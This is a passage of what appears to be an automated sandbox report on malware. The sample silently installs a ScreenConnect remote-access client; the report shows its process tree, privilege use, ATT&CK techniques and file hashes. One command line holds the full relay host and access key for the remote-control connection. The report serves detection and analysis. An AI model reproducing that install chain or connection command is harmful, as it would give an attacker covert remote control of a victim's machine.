Token: SeDebugPrivilege	3292	msiexec.exe
Token: SeAuditPrivilege	3292	msiexec.exe
Token: SeSystemEnvironmentPrivilege	3292	msiexec.exe
Token: SeChangeNotifyPrivilege	3292	msiexec.exe
Token: SeRemoteShutdownPrivilege	3292	msiexec.exe
Token: SeUndockPrivilege	3292	msiexec.exe
Token: SeSyncAgentPrivilege	3292	msiexec.exe
Token: SeEnableDelegationPrivilege	3292	msiexec.exe
Token: SeManageVolumePrivilege	3292	msiexec.exe
Token: SeImpersonatePrivilege	3292	msiexec.exe
Token: SeCreateGlobalPrivilege	3292	msiexec.exe
Token: SeCreateTokenPrivilege	3292	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3292	msiexec.exe
Token: SeLockMemoryPrivilege	3292	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3292	msiexec.exe
Token: SeMachineAccountPrivilege	3292	msiexec.exe
Token: SeTcbPrivilege	3292	msiexec.exe
Token: SeSecurityPrivilege	3292	msiexec.exe
Token: SeTakeOwnershipPrivilege	3292	msiexec.exe
Token: SeLoadDriverPrivilege	3292	msiexec.exe
Token: SeSystemProfilePrivilege	3292	msiexec.exe
Token: SeSystemtimePrivilege	3292	msiexec.exe
Token: SeProfSingleProcessPrivilege	3292	msiexec.exe
Token: SeIncBasePriorityPrivilege	3292	msiexec.exe
Token: SeCreatePagefilePrivilege	3292	msiexec.exe
Token: SeCreatePermanentPrivilege	3292	msiexec.exe
Token: SeBackupPrivilege	3292	msiexec.exe
Token: SeRestorePrivilege	3292	msiexec.exe
Token: SeShutdownPrivilege	3292	msiexec.exe
Token: SeDebugPrivilege	3292	msiexec.exe
Token: SeAuditPrivilege	3292	msiexec.exe
Token: SeSystemEnvironmentPrivilege	3292	msiexec.exe
Token: SeChangeNotifyPrivilege	3292	msiexec.exe
Token: SeRemoteShutdownPrivilege	3292	msiexec.exe
Token: SeUndockPrivilege	3292	msiexec.exe
Token: SeSyncAgentPrivilege	3292	msiexec.exe
Token: SeEnableDelegationPrivilege	3292	msiexec.exe
Token: SeManageVolumePrivilege	3292	msiexec.exe
Token: SeImpersonatePrivilege	3292	msiexec.exe
Token: SeCreateGlobalPrivilege	3292	msiexec.exe
Token: SeCreateTokenPrivilege	3292	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3292	msiexec.exe

Suspicious use of FindShellTrayWindow 7 IoCs

pid	Process
3292	msiexec.exe
3292	msiexec.exe
4936	ScreenConnect.WindowsClient.exe
4936	ScreenConnect.WindowsClient.exe
4936	ScreenConnect.WindowsClient.exe
4936	ScreenConnect.WindowsClient.exe
4936	ScreenConnect.WindowsClient.exe

Suspicious use of SendNotifyMessage 5 IoCs

pid	Process
4936	ScreenConnect.WindowsClient.exe
4936	ScreenConnect.WindowsClient.exe
4936	ScreenConnect.WindowsClient.exe
4936	ScreenConnect.WindowsClient.exe
4936	ScreenConnect.WindowsClient.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
3292	msiexec.exe
4248	msiexec.exe
3312	MsiExec.exe
3880	MsiExec.exe
4664	MsiExec.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 3036 wrote to memory of 3292	3036	2026-10-30_88a1ba9b02d6c43a97a600dedbda998a_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe	88
PID 4248 wrote to memory of 3312	4248	msiexec.exe	90
PID 3312 wrote to memory of 5240	3312	MsiExec.exe	91
PID 3312 wrote to memory of 6012	3312	MsiExec.exe	92
PID 3312 wrote to memory of 1120	3312	MsiExec.exe	93
PID 4248 wrote to memory of 4264	4248	msiexec.exe	99
PID 4248 wrote to memory of 3880	4248	msiexec.exe	101
PID 4248 wrote to memory of 4664	4248	msiexec.exe	102
PID 1656 wrote to memory of 4936	1656	ScreenConnect.ClientService.exe	104
PID 1656 wrote to memory of 3544	1656	ScreenConnect.ClientService.exe	105

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2026-10-30_88a1ba9b02d6c43a97a600dedbda998a_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-30_88a1ba9b02d6c43a97a600dedbda998a_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3036
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\26.6.6.9747\353649c04de1ef22\ScreenConnect.ClientSetup.msi" SC_EXE_PATH="C:\Users\Admin\AppData\Local\Temp\2026-10-30_88a1ba9b02d6c43a97a600dedbda998a_amadey_elex_glassworm_hellokitty_icedid_luca-stealer_njr.exe"
  2⤵
  - Enumerates connected drives
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SetWindowsHookEx
  PID:3292

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4248
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding DF1653971E44CE17740597B300DD533D C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3312
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSID25A.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240768000 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:5240
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSID911.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240769328 10 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiMotw
    3⤵
    - Badlisted process makes network request
    - Loads dropped DLL
    - Reads the TCP/IP host and domain name from the registry
    - System Location Discovery: System Language Discovery
    PID:6012
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIE15F.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240771640 17 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiFileName
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:1120
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:4264
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 7B7D430C6F23A31E12278FF8BCD42786
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:3880
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 45B4152E4D7835A428227A7CB82FB1FA E Global\MSI0000
  2⤵
  - Drops file in Windows directory
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:4664

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
PID:5572

C:\Program Files (x86)\ScreenConnect Client (353649c04de1ef22)\ScreenConnect.ClientService.exe
"C:\Program Files (x86)\ScreenConnect Client (353649c04de1ef22)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=screlay.12systems.de&p=443&s=5f53e410-1b94-4304-b513-501c99f2ab0b&k=BgIAAACkAABSU0ExAAgAAAEAAQA70b8fsR%2bDHul%2f8IC4fkMd15hSEcuAz6n%2fRPXQh4t22qM6yPmuC2LX15zIoc6PSO258Ab506SK5LLv042w3ZTuBuXDCgQqGq1wAi1CdCoiWSpYLJFbmhlLUEIcnDMKSXrc4BEHLPQtWK3zNtVWCnf6Bhp4wMuGbCLVjZgNLJnuT8kACjD5oOJ7Stqb5KFYE7VcS7BJq3ugKQSzP29MTtlNKZKNs8RkY3QEfCjrJy9C4QXEs%2br3Dbo4FJa%2fZoL4f5fXlHBiWBmlY2MT8QvSUMeZEdFutWK6bJxGVfFREZxdYzO4zOgAy1e6sxhe9rq4PENeV0C3uQJiwkLrgz4VfwTI"
1⤵
- Sets service image path in registry
- Drops file in System32 directory
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1656
- C:\Program Files (x86)\ScreenConnect Client (353649c04de1ef22)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (353649c04de1ef22)\ScreenConnect.WindowsClient.exe" "RunRole" "6cc100de-0a1c-4376-9b13-2ea4483d9da2" "User"
  2⤵
  - Executes dropped EXE
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  PID:4936
- C:\Program Files (x86)\ScreenConnect Client (353649c04de1ef22)\ScreenConnect.WindowsClient.exe
  "C:\Program Files (x86)\ScreenConnect Client (353649c04de1ef22)\ScreenConnect.WindowsClient.exe" "RunRole" "dde095a4-065b-4591-bc54-30a66a11aa65" "System"
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - Checks processor information in registry
  - Modifies data under HKEY_USERS
  PID:3544

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e5a233a.rbs

Path C:\Config.Msi\e5a233a.rbs
Size 213KB
SHA256 1d2a22eb3f5030183bf952eb00889c81c4760b4d855d8d1cbb47e074f5bb057b
MD5 4313583e6b5379ea2fbcb04dc3376ef4
SHA1 c6b8f3c0b2484da20fcc71eedf895bd5d8f7182f
SHA512 e46d598e437b4d3c8d79bdfe940ecdb161d053185acb29b2389069867318aab7fa6377c0bd9038fdde61ffe68729500465f24925dd60c2629b0b38e91845b509
SSDEEP 3072:h69LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMGy:h6uH2aCGw1ST1wQLdqvy
TLSH
T1AD248C226480807EE7F91A32D93F9A617E7DF6341760C59EC3888C1E9D604D06BF6B67
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.Override.de.resources

Path C:\Program Files (x86)\ScreenConnect Client (353649c04de1ef22)\Client.Override.de.resources
Size 512B
SHA256 e8c31d918f5663b90ec78093d1f027735c0e9e8cf1d0c6650d1f4d43784fb81c
MD5 155407a18781cddd2239ef5ee5e21ae6
SHA1 708bdf8a62e6500c7e4a5dc015957cb4f811c76c
SHA512 437f0ba91b3b4e615a025a5c8fb243c1afc2ba467fa24de373755c7e2d182f3579ddaec8df28c1c046581b872da3ad2131ffb157d48eef9e6866c161b14a55a0
TLSH
T11AF06123036C10F2DD521B77347674852537BD144130543D48A8111C9B712478BA3F73
MD5 SHA1 SHA512 TLSH

Submit Download

Client.Override.en-US.resources

Path C:\Program Files (x86)\ScreenConnect Client (353649c04de1ef22)\Client.Override.en-US.resources
Size 512B
SHA256 903459c911b6734b16de5ea7c3533b12d297d19b1ad08a4f16b320fcd46788a6
MD5 3bc773dc09a45ba48555de8af5682175
SHA1 abf28f36d9cde060670a53700d4d5bb492a1d90d
SHA512 d815d5e8ec7a07e3b0333dd555a0db6b60dfd58ba02e5dd2da1549dfbafc6fb64a3b40a9a29c5074b329b8e8b5d532fd6ed9f7821a54447bd506df1ceed228c3
TLSH
T184F02E2213AC14B6E9E2167B3967709105377D28C120543D5C44114C8BB26078F62F77
MD5 SHA1 SHA512 TLSH

Submit Download

Client.Override.resources

Path C:\Program Files (x86)\ScreenConnect Client (353649c04de1ef22)\Client.Override.resources
Size 19KB
SHA256 620c16f9af994ffa4041a671f3e622d8497c5527a12237b1e3c064aa2e416f4a
MD5 5fac6691b28c46205035a4ad8e9c8c75
SHA1 264b54f23614423ee9afcfb70d95ca31778a05ed
SHA512 a252b0fff8cbbf89b396d88c1ee30e02dca44fe1574aece1587e84ede238003ea823a4a5f34f2a7eaf1f4143edd7d3f7e8faba9a3fd15d8286bfa14b98a77237
SSDEEP 384:rWKzetTZomigXKL8eXgEYrrb8+5Do9XDd1KrzXnvxUze:6KzeXoL8+gVvw++9X7KrzXn5Uze
TLSH
T11B92AF53670A66D0DCBD9377AD871B5AF2EFF0A63A80264835F28082CF60DC45ACD718
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.en-US.resources

Path C:\Program Files (x86)\ScreenConnect Client (353649c04de1ef22)\Client.en-US.resources
Size 64KB
SHA256 a90983b3d26f9e6bb472663b84d13254349f62b0ad4c667fd76b3edd270240b2
MD5 440efe703a19cdf7890efad27f5714a2
SHA1 a95e7d35f2d1b01c5f959756c1541daaf48f220f
SHA512 d37e65cffa3487ef0c6a7bdedff0374e0d5aac0d8cd060004700920b0da4c0750b0b4aeaeddf2dcc4fb655495ce53d737a161096e448062ed50841c6c9bd622c
SSDEEP 1536:Q5mcDzSbBYQdQ5Fe2rmcPpZfjZ8peFTp9EwILThIKC1IXpbLeMarA:Q5mszSbaQCe2rmcPpZfjZ8peFTp9EwI0
TLSH
T13D531E1277FD0A18F5F36F75BE7A94629937BC5A2E25C06E1028454E09B2F80C9B2773
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Client.resources

Path C:\Program Files (x86)\ScreenConnect Client (353649c04de1ef22)\Client.resources
Size 6KB
SHA256 bd34378ad99f7609fa0c7c8edde6337c738a61d288863015629329806a1cc728
MD5 1e863134f29bcabe1ee571c91ac4fbe6
SHA1 57cc5966fcae49019da5f8f507c840cedfc103f4
SHA512 7e2640c4ddb8719230de0ddb0d18f9a4b1499a037247f12b142b1c16a2a989390abcb5ac7816a63dbce2d43c08510cec7cfc87cd24458bc2fa919c396b36d4f9
SSDEEP 192:rpDZHfbkqYvZJG293IIs1Z4EO/nM3ZWYijpo2YG:rRZjkqYxJ3JI/sMJ/ijp/p
TLSH
T1D8D13BC49BFEAC3CF05E51BE3A7692990275FF113AA3C3582460106A7F228856C56737
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Client.dll

Path C:\Program Files (x86)\ScreenConnect Client (353649c04de1ef22)\ScreenConnect.Client.dll
Size 630KB
SHA256 c36505bffe4ea8ec6683cac3fed181d4cd45d5db360b4a48aeffdc0af731b622
MD5 b4422108267afc85e9d4a1f47c4b2462
SHA1 1186495707bd7a3b06a4969c98fc025512d8b962
SHA512 57b48c1b89e4edc0566501b95650a8be0d568f7d20064fa289070129ea2e49c47bd19294cadabbddf82504f32cb1951d50a7ef738e67f2eae3eaa47f445701a8
SSDEEP 12288:zLQzhEnSY4iyHz2StwiWXVczHTEavSW7OQniuFdSqETb9:z0enT4iyHz2SHWXIzEn8quCqsp
TLSH
T168D4D049AB94ED2AEE5E0733F1612A109AB16CD69957D30F1E68377D8D723843F4C2C2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.dll

Path C:\Program Files (x86)\ScreenConnect Client (353649c04de1ef22)\ScreenConnect.ClientService.dll
Size 194KB
SHA256 618b8d31ee7e8783118fce2f6216cfba98d0df95f48215eb9e6d4e712b397890
MD5 8853f0be4c8409b68a55f9ac62106c14
SHA1 2f13e76faa168c262414f4a7a0380adab7a12fdd
SHA512 1c018505fa8fbf0bcbadbad235710d66468c05f2bcec4c4833fe6a196977d3c59a0b78940ab6bc97b0ff5ebd2a8f66d9efb56ead7a59afea7d3eaf0cda6da9e2
SSDEEP 3072:k7WCwZBNzcIH8vfq4GU5aH+fPpxNpqxr7zjs6LIDqJEdAQZVp2ME5NtN:k7WCwZBxyK4GU8H+nfnqxrjsoQdAG2RJ
TLSH
T15814AF89BB5FD966C49E0A3BA461B32007F1B083CAE6C74F6CD852DE1E563D42E543C9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientService.exe

Path C:\Program Files (x86)\ScreenConnect Client (353649c04de1ef22)\ScreenConnect.ClientService.exe
Size 93KB
SHA256 5e5595e292b9cd0e1855fba5c114adde313b4e1af2dfe9ac2814e62879fca75b
MD5 d8a39f9938e6bd333b501f9d10782313
SHA1 b7f8e84ff945a18401480893c5d26c6174d50878
SHA512 bc81ff522715e5382b73274bb5d21324ed25b135fe75d49683b5373bb7f8e57cd211c5e9f33bafb748f6e1bd10e37638ccc5605772273307296f18a8c1c0a366
SSDEEP 1536:fg1s9pgbNBAklbZfe2+zRVdHeDxGXAorrCnBsWBcd6myJkgoU0HMC7R:IhbNDxZGXfdHrX7rAc6myJkgoU0Hjd
TLSH
T16C935B13B5C28871D573093158E0DAB09A7FF9215E21DEAB3798022E4F742C1AE75EB7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Core.dll

Path C:\Program Files (x86)\ScreenConnect Client (353649c04de1ef22)\ScreenConnect.Core.dll
Size 1.3MB
SHA256 1d0095df628d85b58fd29fa3f47af2819e75dac78fd7b8edf6cdf698f0d46e6e
MD5 c60c47c74cd29ce5bceba11e31229741
SHA1 b6076976c810f66044cee5856f4899f2ec1b4ec7
SHA512 de264cc5d29765e37c7e178a2e7d1e71c5bbc6be2478b7bbef39cd5d25f74863b2e6dffc826d54866bd0dcbce28e4a34e3d3648af051e097d68debaa8ccb6785
SSDEEP 24576:HA9qrgkdpRLuKAew75bP3RwsZBybV/Q0yzL:HAUrgszC/lMKByJ/Q0yH
TLSH
T161557C8E7B89DB23DA6E063790A0720467F0E1965B63D34B69A0B73F1C453E87E481DD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Windows.dll

Path C:\Program Files (x86)\ScreenConnect Client (353649c04de1ef22)\ScreenConnect.Windows.dll
Size 1.9MB
SHA256 26c117e7d169cc3fe378af22ff201ac213b901123a312bed0749801816a1f425
MD5 87e0a7fa71b1549dd3f7cac049d99fa5
SHA1 d72f205440f0321a9cd59f8e17fe96d4f05c666d
SHA512 72a009b04a75e782cf7749893fd798bea9489af1a81a69a6656e8e690802f0212430a41de08d00612cc950d5f0b11578e739c9302ef8c7584a5cefb26faba238
SSDEEP 24576:TFjtTFj+Ifz3zvnXj/zXzvAAkGz8mvgt379S+2bfR+RfmTk1krT1iH4SqfKPTsUL:RlJkGYYZTk+T1iH7efPcMwt
TLSH
T12895AD45F6C365FAD42B047888BE632AA7743C040355CBFB97D0AA3A6D337C09A36795
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsClient.exe

Path C:\Program Files (x86)\ScreenConnect Client (353649c04de1ef22)\ScreenConnect.WindowsClient.exe
Size 1.6MB
SHA256 173e7f2893e16bdc5a3f2a034d3234df9f3926190c2ba578f014cbb481f45853
MD5 d46c9ca10c66b3738d80c8d9a32f1639
SHA1 6d43d3f402986dd9ef0feeecb87d146e6d92f890
SHA512 c31ca2ef825401c85eacdc3d326eff1de7aa7dd1a97cb93e0280b377c64a30451e30776dd39403b95d172af76d11b36ea3f00988ee3a144e40f44a62b8e4c1c0
SSDEEP 24576:X3NRddzQFIyJu1df6llsfQDemcKpIsIAijI3dGFM:X3pUjUHq3p
TLSH
T15B758D897F95EE6BC86E077B9490220477F094918F22E70768A4B77E1C853C4BD48ADF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

app.config

Path C:\Program Files (x86)\ScreenConnect Client (353649c04de1ef22)\app.config
Size 775B
SHA256 b4f2f71860e942761581b1159feac45df13d6e002cad210d71df97a6cb78a8fb
MD5 5aef1658fa0f7419de2ae4890613db0c
SHA1 9282b7e60063a7649856b2e223945d5ed73c26d2
SHA512 96edf96937df45e55016aba4c0fec021768549d879447697789dd6994fd86dfd1f3860b32b234015d79df5a88a0a21c35790e1e2da9f001ef85da921eeb59866
TLSH
T14F01B51970C4BE6A12A75F23E5228100FCB08A631566B46C30EE21379B716D617F3697
MD5 SHA1 SHA512 TLSH

Submit Download

system.config

Path C:\Program Files (x86)\ScreenConnect Client (353649c04de1ef22)\system.config
Size 935B
SHA256 85de36b9480ac35499e28ef54b6966f5a7621e2c9062033c58e2e0eb7f234f22
MD5 71d4346c82f367ffe6dbfa4b50d6ec16
SHA1 ec3a7d25a8369121ca6d2735c994bacfdaeb3cc3
SHA512 f7db03ab525f8e2aed5549de18e483b720080d716c859fe390345bfcbbbc5f7fcfd22a3656c201bb296071d59a0fe7c78b8cc1e5526c8fd30185610d2a34763c
TLSH
T1311140A232446D6B06A32F2AC5258340AD71A9EB0460305879EF133EDF7158F03B399E
MD5 SHA1 SHA512 TLSH

Submit Download

MSID25A.tmp

Path C:\Users\Admin\AppData\Local\Temp\MSID25A.tmp
Size 1.9MB
SHA256 ea2379bf1371e2ca7c94a35b012858eb6824b952c895d57eb1ef4f9555300895
MD5 a75fecfcaa5564099a6432d9553ac3e2
SHA1 1e14cc418864832f8580cc73ae41014ccbb62073
SHA512 7e657d10043ff849fcc712a74b3f84407fdd85373a4eeb0bbdced7ae1feda729d747f85d1af675ca7b95737925a05df5bfa377a934c87009b6e4f382ec8e21a2
SSDEEP 49152:4GI6pAMODfKs9oXIRvUljfx5awsTEevi0AZSuKbBYlc:4GP6RGs9BRIffQf/fuAcc
TLSH
T11B95232533B9C036F2DF3D302EF8514592BD78735DF452DA678A022D2FA0BCA95A1396
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Microsoft.Deployment.WindowsInstaller.dll

Path C:\Users\Admin\AppData\Local\Temp\MSID25A.tmp-\Microsoft.Deployment.WindowsInstaller.dll
Size 172KB
SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
MD5 5ef88919012e4a3d8a1e2955dc8c8d81
SHA1 c0cfb830b8f1d990e3836e0bcc786e7972c9ed62
SHA512 4544565b7d69761f9b4532cc85e7c654e591b2264eb8da28e60a058151030b53a99d1b2833f11bfc8acc837eecc44a7d0dbd8bc7af97fc0e0f4938c43f9c2684
SSDEEP 3072:FkfZS7FUguxN+77b1W5GR69UgoCaf8TpCnfKlRUjW01Ky4:x+c7b1W4R6joxfQE
TLSH
T14E045B2563FC473ECAEF87B4E2624251E7B2E2E97113DB0DDC8541AA2522780F792753
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Core.dll

Path C:\Users\Admin\AppData\Local\Temp\MSID25A.tmp-\ScreenConnect.Core.dll
Size 1.3MB
SHA256 59a8bf4e59bedfbe7c338bef4abaa56483f406c1c2a5cb66d3df4a152063d7e3
MD5 27eba9c103a727e44d2dcf89e5590e15
SHA1 5c1a7e3ed63af18fb907949e930b4825935328f8
SHA512 a3f8346e6df9e0c82448f671f67ff26dd58266dfed7883046b7ccacde08bcf9f7be5c1542bde1d77f700c33524aef88835febc7f55c43c33dc085f66dd354d2f
SSDEEP 24576:5A9qrgkdpRLuKAew75bP3RwsZBybV/Q0yz:5AUrgszC/lMKByJ/Q0y
TLSH
T19D557C8E7B89DB23DA6E067790A0720467F0E1965B63D30B69A0B73F1C453E87E481DD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.InstallerActions.dll

Path C:\Users\Admin\AppData\Local\Temp\MSID25A.tmp-\ScreenConnect.InstallerActions.dll
Size 24KB
SHA256 cf8505204b1458dac9cb3002fd5bbd5fac43c5b4702aa0153fb4b9a2cfcf954a
MD5 c060e1dcf5402d3bda57c00fa2fd56fb
SHA1 45b319fe4fdb0d546368487c758ac4a0c60737c5
SHA512 4941965012aa81ac02c1bc161d6e3f4aad195a8bc47094afdd192252478eb530bba744ab4f8d615fcb867fe1a8bc91623dfb1ad70491d83e2ff05aaa25dfe5a4
SSDEEP 384:cSazzV1VTsaS8hQlLkmoAAV7NaNeirM0dbMsFkjvZBN20dN5:hazC9AVMcLv/d
TLSH
T126B2E720674CE27AF9EA1634B563FBB011B3BDB3CCE9DA8565A420153D253E04FB5B06
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Windows.dll

Path C:\Users\Admin\AppData\Local\Temp\MSID25A.tmp-\ScreenConnect.Windows.dll
Size 1.9MB
SHA256 43b428acaf3f4286a91572c8f46a8494b6ad90f23bb3bf6f63ada3705f6e85f1
MD5 782eb7c318b54d9c3ef44be5084e1ce5
SHA1 c3bf191bf4dc7337ccbfc742adeccb2cfd0e7f59
SHA512 f3bb4eb85e12ebcffcb9b3322bb4b7983f3c8123c29e0b0c7554d8a60aaddf31e6266186e250d00cc645a6a17427ecccd96dfa00082d226c2ca85e5e047f5f58
SSDEEP 24576:pFjtTFj+Ifz3zvnXj/zXzvAAkGz8mvgt379S+2bfR+RfmTk1krT1iH4SqfKPTsUl:flJkGYYZTk+T1iH7efPcMw
TLSH
T1AC95AD45F6C365FAD42B047888BE632AA7743C040355CBFB97D0AA3A6D337C09A36795
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CustomAction.config

Path C:\Users\Admin\AppData\Local\Temp\MSID911.tmp-\CustomAction.config
Size 234B
SHA256 7027b69ab6ebc9f3f7d2f6c800793fde2a057b76010d8cfd831cf440371b2b23
MD5 6f52ebea639fd7cefca18d9e5272463e
SHA1 b5e8387c2eb20dd37df8f4a3b9b0e875fa5415e3
SHA512 b5960066430ed40383d39365eadb3688cadadfeca382404924024c908e32c670afabd37ab41ff9e6ac97491a5eb8b55367d7199002bf8569cf545434ab2f271a
TLSH
T18CD0A70405D0FD1B5E231A2337524559FF34B1E290A44408B06F3A130A220CD4757317
MD5 SHA1 SHA512 TLSH

Submit Download

ScreenConnect.WindowsInstaller.dll

Path C:\Users\Admin\AppData\Local\Temp\MSID911.tmp-\ScreenConnect.WindowsInstaller.dll
Size 414KB
SHA256 d610d8828a29396eb7157c75e3e7abe8eb712ace9d6bff0aabc6bca0a215dc17
MD5 2934801a53c9e2ecd59fb54a55b317c4
SHA1 098f31d616169aba61e7a6c5b52dc87bce8ac0ff
SHA512 fce8af7d4db741b18a2f902abd6d8b45ae4df552717085dec41459d06b94fe27597784e38cad77d36dde312f5bec848bc2e465d1949a1979bc00c755eb10ce76
SSDEEP 12288:F+de3s1VCYzeRM+ltYG5ZcqrZo/RREIRHu8Y78WBh:F+de3s1MYUZltYOZcsZopRDRHu869Bh
TLSH
T17694BE1DFF4AA766D63E0B7BC4123200D2F1E09B99A7C78F6D9026AE1D047D86B542C7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.ClientSetup.msi

Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\26.6.6.9747\353649c04de1ef22\ScreenConnect.ClientSetup.msi
Size 25.7MB
SHA256 4d18e0c6bc79c45ef7689cfcb33468ae161fd65e018da5c1b9f2517beb5f4710
MD5 6fd4add34ff36c3c822b986d28f31bab
SHA1 298a210843548445cc29edb09ffeff65e06f1db5
SHA512 a15ec1eb3158ef124e751c2277b02543cf3e7e647c31a06dc65b230e109cd12b20d4a39502ea7b21b9175ca20c6f9b8d348dde4fe3a8f605f7d3136c2935c458
SSDEEP 786432:K8BKoVj/8BKoV+8BKoVG8BKoVH8BKoVM8BKoVK8BKoVy8BKoV:zBKZBKWBKyBKrBK6BKaBKUBK
TLSH
T16E47331163F82865F8F74B7AED3AD190983B3D498E65E11E0334790F45B2E86CA62773
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSI2C90.tmp

Path C:\Windows\Installer\MSI2C90.tmp
Size 202KB
SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
MD5 ba84dd4e0c1408828ccc1de09f585eda
SHA1 e8e10065d479f8f591b9885ea8487bc673301298
SHA512 7a38418f6ee8dbc66fab2cd5ad8e033e761912efc465daa484858d451da4b8576079fe90fd3b6640410edc8b3cac31c57719898134f246f4000d60a252d88290
SSDEEP 3072:X9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG:XuH2aCGw1ST1wQLdqv
TLSH
T129147C326494803EE7F91A36D93E9A61AE7DF6241760C99EC3848C0E5D604D06BF7B27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nqsrbm3b.newcfg

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (353649c04de1ef22)\nqsrbm3b.newcfg
Size 846B
SHA256 e9c75826bcd9020d06fbcfd88ac7dccf22156f6e95eebf290a34c6ced0516f41
MD5 31c50cb1be0d49fa2a6dbe146ef64364
SHA1 7b3a6171da762a82221666d619df67d7951b8d1c
